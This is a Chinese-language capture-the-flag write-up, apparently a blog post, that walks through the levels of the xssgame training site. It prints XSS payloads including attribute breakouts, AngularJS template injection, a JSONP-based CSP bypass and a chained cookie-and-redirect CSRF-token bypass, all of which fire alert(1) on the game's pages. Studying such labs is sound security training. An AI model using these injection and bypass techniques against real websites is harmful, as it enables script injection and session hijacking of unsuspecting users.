[xssgame] writeup

xssgame writeup

level 1

很简单就好了

level 2

先测试一下
没用 (我猜也是)
F12看源码发现写到attribute里面了

-w919

闭合一下就好了 1');alert('1

level 3

发现他改变url的时候img 的src也会跟着变
可是发现src里面都被过滤了
在fuzz的时候发现加了一个单引号就直接

-w456

变成这样了
那再继续构造
3.jpg'onload=alert(1)>就好了

[xssgame] writeup_第1张图片
-w731

onload怎么会有交互=。=


[xssgame] writeup_第2张图片
-w776

???突然就成功了,反正payload是这样的=。=

level 4

[xssgame] writeup_第3张图片
-w745

fuzz一下,没找到。。注册一下,找找哪里会写到html里面

跳转的太快了,看看跳转的页面=。=
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=asd
这里的asd可控

[xssgame] writeup_第4张图片
-w801

那么闭合一下搞一个 alert(1)就好了
[xssgame] writeup_第5张图片
-w733

测试的时候发现啥都被过滤了,这时候就想到伪协议了=。=
[xssgame] writeup_第6张图片
image

level 5

Angular JS
没学过呀=。=
上网看看
我猜是模板注入
{{$eval(alert(1););}}

[xssgame] writeup_第7张图片
image

为啥不行。

了解了一下

[xssgame] writeup_第8张图片
image

ng-non-bindable会让所有的html都不解析=。=
但是有两个隐藏的表单都试试
[xssgame] writeup_第9张图片
image

突然发现能改

[xssgame] writeup_第10张图片
image

成功了

level 6

Angular 2 还行

[xssgame] writeup_第11张图片
image

哇一模一样但是就是class不一样

Angular可以用html编码来注入
{{$eval(%27alert(1)%27)}}

[xssgame] writeup_第12张图片
image

level 7

CSP要绕CSP了=。=
先看他的CSP是啥
Content-Security-Policy: default-src http://www.xssgame.com/f/wmOM2q5NJnZS/ http://www.xssgame.com/static/

以前测站的时候知道jsonp有一个callback参数
就是加上的话会在最前面加一句callback的参数


[xssgame] writeup_第13张图片
image

就像这样


[xssgame] writeup_第14张图片
image

改了之后发现没啥用=。=

function main() {
    var m = location.search.match('menu=(.*)');
    var menu = m ? atob(m[1]) : 'about';
    document.write('');
}

/**
 * Display stuff returned from server side.
 * @param {string} data - JSON data from server side
 */
function callback(data) {
    if (data.title) document.write('

' + data.title + '

'); if (data.pictures) data.pictures.forEach(function (url) { document.write('

'); }); } main();

看了一下他的源代码,发现他先base64解码了,然后把解码的加再进来=。=好吧
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9Impzb25wP2NhbGxiYWNrPWFsZXJ0KDEpJTNCJTJmJTJmIj48L3NjcmlwdD4=
这样就好了

level 8

Content-Security-Policy: default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/
CSP

function readCookie(name) {
    var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
    return match && match[1];
}

var username = readCookie('name');
if (username) {
    document.write('

Welcome ' + username + '!

'); } document.addEventListener("DOMContentLoaded", function (event) { csrf_token.value = readCookie('csrf_token'); });

长记性了先看js代码

就是会把cookie的东西写到网页上=。=

[xssgame] writeup_第15张图片
image

CSP的原因写了也没东西=。=
不会了

  1. 第一个功能是设置name,但是仔细观察不难发现,设置的name是放在cookie里的,而且还接受了redirect参数,会在设置完跳到相应的位置。
  2. 第二个功能是设置参数,虽然我没搞明白具体是干了啥,但是amount这个参数只接受整数,如果传入不是整数,那么就会报错,并返回输入的内容,这个部分存在xss。
  3. 第二个功能还有一个问题是csrf_token,我们需要绕过这个东西,可以发现csrf_koen是存在cookie中的。

土爷payload
http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=1&redirect=transfer%3Fname%3Dattacker%26amount%3D123%22%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E%26csrf_token%3D1

你可能感兴趣的:([xssgame] writeup)